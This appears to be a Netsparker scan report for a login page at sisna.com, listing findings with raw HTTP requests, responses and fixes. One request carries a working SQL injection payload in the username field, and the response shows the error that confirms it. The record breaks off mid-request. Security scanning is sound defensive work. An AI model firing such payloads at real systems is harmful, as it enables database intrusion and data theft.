http://login.sisna.com/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: login.sisna.com Content-Length: 49 Accept-Encoding: gzip, deflate Reset=Reset&Submit=Login&username=&usernamepword=
Response
HTTP/1.1 200 OK Date: Tue, 26 Apr 2011 12:39:51 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 2742 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>@sisna.com Login</title> <link href="styles.css" rel="stylesheet" type="text/css" /> <script type="text/javascript"> //Frameset Break Away function deframe(){ if (top.location != self.location) top.location.href=self.location; } //Set focus to NetID text box function sf(){ document.login.username.focus(); } </script> </head> <body style="background-color: #EFEFEF;"> <!-- Login Form --> <form action="/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2" method="post" name="login"> <table id="login" class="tbl_login" align="center"> <tr> <td colspan="2" style="padding: 10px; text-align: center;"><img src="img/sisna.com/logo.gif" alt="Logo" /><br /><br /> Log In to your <strong>@sisna.com</strong> account: <div style="padding: 10px; font-family: Arial, Verdana, Helvetica, sans-serif; color:#FF0000; font-size:12px;"></div></td> </tr> <tr> <td align="right">Account Username:</td> <td><input name="username" type="text" class="txt"></td> </tr> <tr> <td align="right">Account Password:</td> <td><input name="usernamepword" type="password" class="txt"></td> </tr> <tr> <td> </td> <td><input type="submit" name="Submit" value="Login" class="btn_frm"> <label> <input type="reset" name="Reset" value="Reset" class="btn_frm" /> </label> <br /> <br /></td> </tr> <tr> <td> </td> <td> </td> </tr> </table> </form> </body> </html>
Database User Has Admin Privileges
Database User Has Admin Privileges
Netsparker identified that the target web site is connecting to the backend database by using a user that has administrative privileges. This issue has been
confirmed by checking the connection privileges via an identified SQL Injection vulnerability in the application.
Impact
This can allow an attacker to gain extra privileges via SQL Injection attacks. Here is the list of attacks that the attacker might carry out:
Gain full access to the database server.
Gain a reverse shell to the database server and execute commands on the underlying operating system.
Access the database with full permissions. Where it may be possible to read, update or delete arbitrary data from the database.
Furthermore, depending on the platform and the database system user an attacker might carry out a privilege escalation attack to gain administrator access to the target system.
Create a database user with the least possible permissions for your application and connect to the database with that user. Always follow the principle of providing the least privileges for all users and applications.
External References
Request
POST /login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 HTTP/1.1 Referer: http://login.sisna.com/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: login.sisna.com Content-Length: 243 Accept-Encoding: gzip, deflate Reset=Reset&Submit=Login&username='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C'&usernamepword=Smith
Response
HTTP/1.1 200 OK Date: Tue, 26 Apr 2011 12:41:49 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 74 Connection: close Content-Type: text/html; charset=UTF-8 Query failed: ERROR: invalid input syntax for type numeric: "_!@5dilemma"
Auto Complete Enabled
Auto Complete Enabled
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".
Impact
Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.
Add the attribute autocomplete="off"
to the form tag or to individual "input" fields.
Actions to Take
See the remedy for the solution.
Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.
Required Skills for Successful Exploitation
Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.
External References
usernamepword
Request
POST /login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 HTTP/1.1 Referer: http://login.sisna.com/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: login.sisna.com Content-Length: 49 Accept-Encoding: gzip, deflate Reset=Reset&Submit=Login&username=&usernamepword=
Response
HTTP/1.1 200 OK Date: Tue, 26 Apr 2011 12:39:51 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 2742 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>@sisna.com Login</title> <link href="styles.css" rel="stylesheet" type="text/css" /> <script type="text/javascript"> //Frameset Break Away function deframe(){ if (top.location != self.location) top.location.href=self.location; } //Set focus to NetID text box function sf(){ document.login.username.focus(); } </script> </head> <body style="background-color: #EFEFEF;"> <!-- Login Form --> <form action="/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2" method="post" name="login"> <table id="login" class="tbl_login" align="center"> <tr> <td colspan="2" style="padding: 10px; text-align: center;"><img src="img/sisna.com/logo.gif" alt="Logo" /><br /><br /> Log In to your <strong>@sisna.com</strong> account: <div style="padding: 10px; font-family: Arial, Verdana, Helvetica, sans-serif; color:#FF0000; font-size:12px;"></div></td> </tr> <tr> <td align="right">Account Username:</td> <td><input name="username" type="text" class="txt"></td> </tr> <tr> <td align="right">Account Password:</td> <td><input name="usernamepword" type="password" class="txt"></td> </tr> <tr> <td> </td> <td><input type="submit" name="Submit" value="Login" class="btn_frm"> <label> <input type="reset" name="Reset" value="Reset" class="btn_frm" /> </label> <br /> <br /></td> </tr> <tr> <td> </td> <td> </td> </tr> </table> </form> </body> </html>
Apache Version Disclosure
Apache Version Disclosure
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.
Impact
An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.
Configure your web server to prevent information leakage from the SERVER
header of its HTTP response.
2.2.3 (Red Hat)
Request
POST /login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 HTTP/1.1 Referer: http://login.sisna.com/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: login.sisna.com Content-Length: 49 Accept-Encoding: gzip, deflate Reset=Reset&Submit=Login&username=&usernamepword=
Response
HTTP/1.1 200 OK Date: Tue, 26 Apr 2011 12:39:51 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 2742 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>@sisna.com Login</title> <link href="styles.css" rel="stylesheet" type="text/css" /> <script type="text/javascript"> //Frameset Break Away function deframe(){ if (top.location != self.location) top.location.href=self.location; } //Set focus to NetID text box function sf(){ document.login.username.focus(); } </script> </head> <body style="background-color: #EFEFEF;"> <!-- Login Form --> <form action="/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2" method="post" name="login"> <table id="login" class="tbl_login" align="center"> <tr> <td colspan="2" style="padding: 10px; text-align: center;"><img src="img/sisna.com/logo.gif" alt="Logo" /><br /><br /> Log In to your <strong>@sisna.com</strong> account: <div style="padding: 10px; font-family: Arial, Verdana, Helvetica, sans-serif; color:#FF0000; font-size:12px;"></div></td> </tr> <tr> <td align="right">Account Username:</td> <td><input name="username" type="text" class="txt"></td> </tr> <tr> <td align="right">Account Password:</td> <td><input name="usernamepword" type="password" class="txt"></td> </tr> <tr> <td> </td> <td><input type="submit" name="Submit" value="Login" class="btn_frm"> <label> <input type="reset" name="Reset" value="Reset" class="btn_frm" /> </label> <br /> <br /></td> </tr> <tr> <td> </td> <td> </td> </tr> </table> </form> </body> </html>
PHP Version Disclosure
PHP Version Disclosure
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.
Impact
An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
PHP/5.1.6
Request
POST /login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 HTTP/1.1 Referer: http://login.sisna.com/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Host: login.sisna.com Content-Length: 49 Accept-Encoding: gzip, deflate Reset=Reset&Submit=Login&username=&usernamepword=
Response
HTTP/1.1 200 OK Date: Tue, 26 Apr 2011 12:39:51 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Content-Length: 2742 Connection: close Content-Type: text/html; charset=UTF-8 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>@sisna.com Login</title> <link href="styles.css" rel="stylesheet" type="text/css" /> <script type="text/javascript"> //Frameset Break Away function deframe(){ if (top.location != self.location) top.location.href=self.location; } //Set focus to NetID text box function sf(){ document.login.username.focus(); } </script> </head> <body style="background-color: #EFEFEF;"> <!-- Login Form --> <form action="/login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2" method="post" name="login"> <table id="login" class="tbl_login" align="center"> <tr> <td colspan="2" style="padding: 10px; text-align: center;"><img src="img/sisna.com/logo.gif" alt="Logo" /><br /><br /> Log In to your <strong>@sisna.com</strong> account: <div style="padding: 10px; font-family: Arial, Verdana, Helvetica, sans-serif; color:#FF0000; font-size:12px;"></div></td> </tr> <tr> <td align="right">Account Username:</td> <td><input name="username" type="text" class="txt"></td> </tr> <tr> <td align="right">Account Password:</td> <td><input name="usernamepword" type="password" class="txt"></td> </tr> <tr> <td> </td> <td><input type="submit" name="Submit" value="Login" class="btn_frm"> <label> <input type="reset" name="Reset" value="Reset" class="btn_frm" /> </label> <br /> <br /></td> </tr> <tr> <td> </td> <td> </td> </tr> </table> </form> </body> </html>
Postgres Server Identified
Postgres Server Identified
Netsparker identified that the target web site is using PostgreSQL Server. This is generally not a security issue and is reported here for information purposes only.
Impact
There is no impact.
Request
POST /login_multiple/?SAMLRequest=fZLNTsMwEITvSLxD5HuSpgWErCZVKUJU4ieigQM3x90mBmcdvE4Lb4%2BbUhUO9Gat1zPfrHc8%2BWx0sAZLymDKkmjAAkBplgqrlD0XN%2BElm2SnJ2MSjW75tHM1PsFHB%2BQC%2FxKJ9xcp6yxyI0gRR9EAcSf5Ynp%2Fx4fRgLfWOCONZsH8OmVthfBmymb1rkFUAAJVje9YVqJUAkpVSV1DXQELXvZYwy3WnKiDOZIT6HxpkCTh4CwcXhTJkI8u%2BfnolQX5j9OVwl2CY1jlron4bVHkYf64KHqBtVqCffDdKauMqTRE0jRb%2B1wQqbUvr4QmjzclAus84MwgdQ3YBdi1kvD8dJey2rmWeBxvNpvoIBOL2LOg2J0lsawfLO%2Bz2V8TPU4u9s4sO2iP419S2c%2BHbXPMr3OjlfwKplqbzcyCcD6Es53PcGNsI9z%2FbkmU9BW1DFd9K%2B%2BQWpBqpWDJgjjbuf7dDL8v3w%3D%3D&RelayState=https%3A%2F%2Fwww.google.com%2Fa%2Fsisna.com%2FServiceLogin%3Fservice%3Dmail%26passive%3Dtrue%26rm%3Dfalse%26continue%3Dhttp%253A%252F%252Fmail.google.com%252Fa%252Fsisna.com%252F%26bsv%3Dllya694le36z%26ltmpl%3Ddefault%26ltmplcache%3D2 HTTP/1.1 Referer: 